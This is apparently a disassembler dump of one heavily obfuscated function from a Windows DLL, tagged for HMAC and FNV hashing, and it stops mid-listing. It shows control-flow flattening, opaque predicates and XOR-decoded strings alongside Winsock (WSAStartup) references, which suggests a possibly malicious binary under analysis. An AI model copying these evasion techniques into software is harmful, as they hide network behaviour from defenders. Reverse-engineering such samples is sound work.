Function at 0x18002d7b0
Capabilities:
Authenticate hmac
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1258
call fcn.1800fab80
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x11c0], xmm6
mov qword [rbp + 0x10], rcx
mov rax, qword [0x180128a08]
xor rax, rbp
mov qword [rbp + 0x11b8], rax
movabs r12, 0xcbf29ce484222325
movabs r13, 0x100000001b3
mov eax, 0xc9355f4a
mov r11d, 0x87cbc1a8
mov r14d, 0x5cca55f5
mov r15d, 0xfb306983
xorps xmm6, xmm6
jmp 0x18002d840
mov rcx, qword [rbp + 0x48]
sub rsp, 0x20
call fcn.18003fc50
mov r11d, 0x87cbc1a8
add rsp, 0x20
mov qword [rbp - 0x78], rax
mov eax, 0xd1d691db
nop dword [rax]
mov r8d, 0xcc80752d
cmp eax, 0x290bce92
jg 0x18002d990
cmp eax, 0xf24d576a
jg 0x18002d9d0
cmp eax, 0xd1d691da
jg 0x18002da83
cmp eax, 0x807e9ef5
je 0x18002dbb3
cmp eax, 0xa0173d5a
je 0x18002dbe5
cmp eax, 0xc9355f4a
jne 0x18002d846
mov eax, 0x90
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x90], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x88], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xb0], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x80], rax
mov eax, 0x60
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xa8], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 8], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x98], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x78], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x70], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x68], rax
mov eax, 0x30
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, 0x3506f762
jmp 0x18002d846
cmp eax, 0x3e11aa74
jg 0x18002da10
cmp eax, 0x313e113b
jg 0x18002daa9
cmp eax, 0x290bce93
je 0x18002dcaa
cmp eax, 0x2db8cb15
je 0x18002dbef
cmp eax, 0x310dded2
je 0x18002dd40
jmp 0x18002d846
cmp eax, 0xfcd8384d
jg 0x18002db67
cmp eax, 0xf24d576b
je 0x18002dc01
cmp eax, 0xf7694ab6
je 0x18002dc1a
cmp eax, 0xf9e130eb
je 0x180030918
jmp 0x18002d846
cmp eax, 0x7b9f22be
jle 0x18002db8d
cmp eax, 0x7b9f22bf
je 0x1800309cb
cmp eax, 0x7bdf2181
je 0x18002dc4e
cmp eax, 0x7f55a676
jne 0x18002d846
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
mov rcx, qword [rcx]
sub rsp, 0x20
call rax
mov r8d, 0xcc80752d
mov r11d, 0x87cbc1a8
add rsp, 0x20
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp - 0x38]
mov eax, 0x7bdf2181
jmp 0x18002d846
cmp eax, 0xd1d691db
je 0x1800335d2
cmp eax, 0xe57fe0de
je 0x18002dc5c
cmp eax, 0xefc0f8cc
je 0x1800339d0
jmp 0x18002d846
cmp eax, 0x313e113c
je 0x180033b09
cmp eax, 0x32ccfc0e
je 0x180033c4c
cmp eax, 0x3506f762
jne 0x18002d846
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x50], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x9b0]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x40]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
add rsp, 0x20
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x38]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
call fcn.1800189a0
mov r8d, 0xcc80752d
mov r11d, 0x87cbc1a8
add rsp, 0x20
test eax, eax
mov eax, 0x73700c08
mov ecx, 0xf9e130eb
cmove eax, ecx
jmp 0x18002d846
cmp eax, 0xfcd8384e
je 0x18002dc87
cmp eax, 0xffd81d29
je 0x18002dc91
cmp eax, 0x9429aaf
je 0x180034428
jmp 0x18002d846
cmp eax, 0x728b5e63
je 0x1800344ad
cmp eax, 0x73700c08
je 0x1800344ec
cmp eax, 0x3e11aa75
jne 0x18002d846
jmp 0x18003e94c
mov rax, qword [rbp + 8]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp + 0x98]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp + 0x98]
mov dword [rax], 1
mov eax, 0x728b5e63
jmp 0x18002d846
mov eax, 0x2db8cb15
jmp 0x18002d846
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x40]
mov eax, 0x3e11aa75
jmp 0x18002d846
mov rax, qword [rbp]
mov rax, qword [rbp + 0x90]
mov qword [rbp - 0x10], rax
mov eax, 0xefc0f8cc
jmp 0x18002d846
mov rax, qword [rbp + 0xb0]
cmp qword [rax], 0
mov eax, 0x7bdf2181
mov ecx, 0x807e9ef5
cmovne eax, ecx
cmp byte [rbp + 0xbf], 0
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x20]
mov ecx, 0x7bdf2181
cmove eax, ecx
jmp 0x18002d846
mov rax, qword [rbp - 0x18]
mov eax, 0xa0173d5a
jmp 0x18002d846
mov eax, dword [0x180129708]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x310dded2
mov ecx, 0x7b9f22bf
cmove eax, ecx
cmp dword [0x18012970c], 0xa
cmovl eax, ecx
jmp 0x18002d846
mov eax, 0xf7694ab6
jmp 0x18002d846
cmp byte [rbp + 0xbe], 0
mov eax, 0x32ccfc0e
mov ecx, 0x9429aaf
cmovne eax, ecx
jmp 0x18002d846
mov rax, qword [rbp - 0x68]
mov rcx, qword [rbp + 0x10]
mov rcx, qword [rcx]
sub rsp, 0x20
lea rdx, [rbp + 0x1b0]
mov r8d, 0x400
call rax
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp + 0x60]
mov rax, qword [rbp + 0x60]
mov dword [rbp + 0x110], WSAStartup
mov edx, 0xb00971f2
mov esi, 0xf7ffd579
nop dword [rax]
cmp edx, 0xe22e0eda
je 0x1800345bc
cmp edx, 0xb00971f2
jne 0x18002dcf0
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x18002dd22
cmp ecx, 0x66b4b012
jne 0x18002dd10
jmp 0x18002dd29
mov ecx, 0x66b4b012
jmp 0x18002dd10
mov word [rbp + 0x100], 1
movzx ecx, word [rbp + 0x100]
mov edx, 0xe22e0eda
jmp 0x18002dcf0
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa8]
mov rax, qword [rbp + 0xa8]
mov ecx, dword [0x180129730]
mov edx, dword [0x180129734]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete byte [rbp + 0xe7]
cmp edx, 0xa
setl byte [rbp + 0xc4]
mov edx, 0x970ca258
mov r8d, 0xeb661102
mov r10d, 0x47960da3
mov r11d, 0xd5dd8582
mov r9d, 0xe4f5085d
mov esi, 0xb639b5b
mov edi, 0x116f585f
jmp 0x18002ddb0
mov edx, 0x47960da3
nop dword [rax]
cmp edx, 0xb639b5a
jg 0x18002ddf0
cmp edx, 0xc7bf117c
jle 0x18002de50
cmp edx, 0xe4f5085c
jg 0x18002def1
cmp edx, 0xc7bf117d
je 0x18002df7c
cmp edx, 0xd5dd8582
jne 0x18002ddb0
mov edx, 0x31778daf
jmp 0x18002ddb0
cmp edx, 0x31778dae
jle 0x18002dea0
cmp edx, 0x47960da2
jle 0x18002df4c
cmp edx, 0x47960da3
je 0x18002dfa0
cmp edx, 0x6e3a65e9
jne 0x18002ddb0
mov rcx, qword [rbp + 0xd8]
mov edx, 0xda5c9955
nop dword [rax + rax]
cmp edx, 0xda5c9955
je 0x18002de45
cmp edx, 0x400f7ff8
jne 0x18002de30
jmp 0x18002dfcb
mov edx, 0x400f7ff8
jmp 0x18002de30
cmp edx, 0x970ca258
je 0x18002e020
cmp edx, 0xb0c0d7bb
je 0x18002dda8
cmp edx, 0xc46a8bf6
jne 0x18002ddb0
mov word [rax], 0xab2a
mov edx, 0xda5c9955
nop
cmp edx, 0xda5c9955
je 0x18002de95
cmp edx, 0x400f7ff8
jne 0x18002de80
jmp 0x18002e041
mov edx, 0x400f7ff8
jmp 0x18002de80
cmp edx, 0xb639b5b
je 0x18002e08c
cmp edx, 0x116f585f
je 0x18002e0a8
cmp edx, 0x2a5b6d6c
jne 0x18002ddb0
mov qword [rbp + 0xf8], rcx
mov edx, dword [0x180129730]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xc7bf117d
cmove edx, edi
cmp dword [0x180129734], 0xa
cmovl edx, edi
jmp 0x18002ddb0
cmp edx, 0xe4f5085d
je 0x18002e104
cmp edx, 0xeb661102
jne 0x18002ddb0
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xc8]
mov word [rdx], 0xab2a
mov rdx, qword [rbp + 0xc8]
mov ebx, 0xda5c9955
nop dword [rax + rax]
cmp ebx, 0xda5c9955
je 0x18002df45
cmp ebx, 0x400f7ff8
jne 0x18002df30
jmp 0x18002e12c
mov ebx, 0x400f7ff8
jmp 0x18002df30
cmp edx, 0x31778daf
jne 0x1800308bb
mov edx, 0xda5c9955
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002df75
cmp edx, 0x400f7ff8
jne 0x18002df60
jmp 0x18002e17c
mov edx, 0x400f7ff8
jmp 0x18002df60
mov rdx, qword [rbp + 0xf8]
mov word [rdx], 0
mov rdx, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0xf0]
mov edx, 0x116f585f
jmp 0x18002ddb0
mov edx, dword [0x180129730]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xb0c0d7bb
mov ebx, 0x3bd89cca
cmove edx, ebx
cmp dword [0x180129734], 0xa
cmovl edx, ebx
jmp 0x18002ddb0
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1ea65c42
je 0x18002e1d0
cmp edx, 0xac12002d
jne 0x18002dff0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x29
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002dff0
mov bl, byte [rbp + 0xe7]
cmp byte [rbp + 0xc4], 0
mov edx, 0xc46a8bf6
cmovne edx, r8d
test bl, bl
cmovne edx, r8d
jmp 0x18002ddb0
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word [rax + rax]
cmp edx, 0x1ea65c42
je 0x18002e20c
cmp edx, 0xac12002d
jne 0x18002e060
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002e060
cmp byte [rbp + 0xc0], 0
mov edx, 0x2a5b6d6c
cmovne edx, r9d
mov rcx, qword [rbp + 0xe8]
jmp 0x18002ddb0
mov rdx, qword [rbp + 0xf8]
mov word [rdx], 0
mov rdx, qword [rbp + 0xf8]
add rdx, 2
mov qword [rbp + 0xe8], rdx
mov rdx, qword [rbp + 0xf0]
mov rbx, qword [rbp + 0xe8]
cmp rbx, rdx
sete byte [rbp + 0xc0]
mov edx, dword [0x180129730]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xc7bf117d
cmove edx, esi
cmp dword [0x180129734], 0xa
cmovl edx, esi
jmp 0x18002ddb0
mov edx, dword [0x180129730]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xb0c0d7bb
cmove edx, r10d
cmp dword [0x180129734], 0xa
cmovl edx, r10d
jmp 0x18002ddb0
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x18002e24c
cmp ebx, 0xac12002d
jne 0x18002e150
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002e150
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x18002e28c
cmp edx, 0xac12002d
jne 0x18002e1a0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x21
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002e1a0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rcx + 2], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x18002e205
cmp edx, 0x400f7ff8
jne 0x18002e1f0
jmp 0x18002e2cc
mov edx, 0x400f7ff8
jmp 0x18002e1f0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 2], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002e245
cmp edx, 0x400f7ff8
jne 0x18002e230
jmp 0x18002e320
mov edx, 0x400f7ff8
jmp 0x18002e230
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 2], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x18002e285
cmp ebx, 0x400f7ff8
jne 0x18002e270
jmp 0x18002e370
mov ebx, 0x400f7ff8
jmp 0x18002e270
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov rbx, qword [rbp + 0xd0]
mov word [rbx], dx
mov rdx, qword [rbp + 0xd0]
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002e2c5
cmp ebx, 0x400f7ff8
jne 0x18002e2b0
jmp 0x18002e3c0
mov ebx, 0x400f7ff8
jmp 0x18002e2b0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x18002e410
cmp edx, 0xac12002d
jne 0x18002e2f0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x2a
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002e2f0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
cmp edx, 0x1ea65c42
je 0x18002e44c
cmp edx, 0xac12002d
jne 0x18002e340
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 1
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002e340
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002e48c
cmp ebx, 0xac12002d
jne 0x18002e390
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 1
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002e390
mov dword [rbp + 0x10c], 0x76
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002e4cc
cmp ebx, 0xac12002d
jne 0x18002e3e0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x22
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002e3e0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rcx + 4], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x18002e445
cmp edx, 0x400f7ff8
jne 0x18002e430
jmp 0x18002e50c
mov edx, 0x400f7ff8
jmp 0x18002e430
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 4], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002e485
cmp edx, 0x400f7ff8
jne 0x18002e470
jmp 0x18002e560
mov edx, 0x400f7ff8
jmp 0x18002e470
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 4], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x18002e4c5
cmp ebx, 0x400f7ff8
jne 0x18002e4b0
jmp 0x18002e5b0
mov ebx, 0x400f7ff8
jmp 0x18002e4b0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 2], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x18002e505
cmp ebx, 0x400f7ff8
jne 0x18002e4f0
jmp 0x18002e600
mov ebx, 0x400f7ff8
jmp 0x18002e4f0
mov dword [rbp + 0x10c], 0x75
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x18002e650
cmp edx, 0xac12002d
jne 0x18002e530
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x2b
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002e530
mov dword [rbp + 0x10c], 0x66
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
cmp edx, 0x1ea65c42
je 0x18002e68c
cmp edx, 0xac12002d
jne 0x18002e580
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 2
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002e580
mov dword [rbp + 0x10c], 0x66
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002e6cc
cmp ebx, 0xac12002d
jne 0x18002e5d0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 2
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002e5d0
mov dword [rbp + 0x10c], 0x65
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002e70c
cmp ebx, 0xac12002d
jne 0x18002e620
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x23
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002e620
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rcx + 6], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x18002e685
cmp edx, 0x400f7ff8
jne 0x18002e670
jmp 0x18002e74c
mov edx, 0x400f7ff8
jmp 0x18002e670
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 6], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x18002e6c5
cmp edx, 0x400f7ff8
jne 0x18002e6b0
jmp 0x18002e7a0
mov edx, 0x400f7ff8
jmp 0x18002e6b0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 6], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x18002e705
cmp ebx, 0x400f7ff8
jne 0x18002e6f0
jmp 0x18002e7f0
mov ebx, 0x400f7ff8
jmp 0x18002e6f0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 4], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x18002e745
cmp ebx, 0x400f7ff8
jne 0x18002e730
jmp 0x18002e840
mov ebx, 0x400f7ff8
jmp 0x18002e730
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x18002e890
cmp edx, 0xac12002d
jne 0x18002e770
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x2c
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002e770
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
cmp edx, 0x1ea65c42
je 0x18002e8c1
cmp edx, 0xac12002d
jne 0x18002e7c0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 3
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002e7c0
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002e8f9
cmp ebx, 0xac12002d
jne 0x18002e810
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 3
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002e810
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002e92c
cmp ebx, 0xac12002d
jne 0x18002e860
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x24
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002e860
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rcx + 8], dx
add rcx, 0xa
mov rdx, qword [rbp + 0xc8]
add rdx, 0x5e
mov qword [rbp + 0xf0], rdx
mov edx, 0x2a5b6d6c
jmp 0x18002ddb0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 8], dx
mov edx, 0xda5c9955
nop word [rax + rax]
cmp edx, 0xda5c9955
je 0x18002e8f2
cmp edx, 0x400f7ff8
jne 0x18002e8e0
jmp 0x18002e96c
mov edx, 0x400f7ff8
jmp 0x18002e8e0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 8], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002e925
cmp ebx, 0x400f7ff8
jne 0x18002e910
jmp 0x18002e9c0
mov ebx, 0x400f7ff8
jmp 0x18002e910
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 6], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x18002e965
cmp ebx, 0x400f7ff8
jne 0x18002e950
jmp 0x18002ea10
mov ebx, 0x400f7ff8
jmp 0x18002e950
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x18002ea60
cmp edx, 0xac12002d
jne 0x18002e990
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 4
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002e990
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002ea99
cmp ebx, 0xac12002d
jne 0x18002e9e0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 4
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002e9e0
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002eacc
cmp ebx, 0xac12002d
jne 0x18002ea30
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x25
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002ea30
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0xa], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x18002ea92
cmp edx, 0x400f7ff8
jne 0x18002ea80
jmp 0x18002eb0c
mov edx, 0x400f7ff8
jmp 0x18002ea80
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xa], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002eac5
cmp ebx, 0x400f7ff8
jne 0x18002eab0
jmp 0x18002eb60
mov ebx, 0x400f7ff8
jmp 0x18002eab0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 8], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x18002eb05
cmp ebx, 0x400f7ff8
jne 0x18002eaf0
jmp 0x18002ebb0
mov ebx, 0x400f7ff8
jmp 0x18002eaf0
mov dword [rbp + 0x10c], 0x61
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x18002ec00
cmp edx, 0xac12002d
jne 0x18002eb30
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 5
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002eb30
mov dword [rbp + 0x10c], 0x61
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002ec39
cmp ebx, 0xac12002d
jne 0x18002eb80
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 5
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002eb80
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002ec6c
cmp ebx, 0xac12002d
jne 0x18002ebd0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x26
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x18002ebd0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0xc], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x18002ec32
cmp edx, 0x400f7ff8
jne 0x18002ec20
jmp 0x18002ecac
mov edx, 0x400f7ff8
jmp 0x18002ec20
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xc], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x18002ec65
cmp ebx, 0x400f7ff8
jne 0x18002ec50
jmp 0x18002ed00
mov ebx, 0x400f7ff8
jmp 0x18002ec50
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xa], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x18002eca5
cmp ebx, 0x400f7ff8
jne 0x18002ec90
jmp 0x18002ed50
mov ebx, 0x400f7ff8
jmp 0x18002ec90
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x18002eda0
cmp edx, 0xac12002d
jne 0x18002ecd0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 6
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x18002ecd0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18002edd9
cmp ebx, 0xac12002d
jne 0x18002ed20
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 6
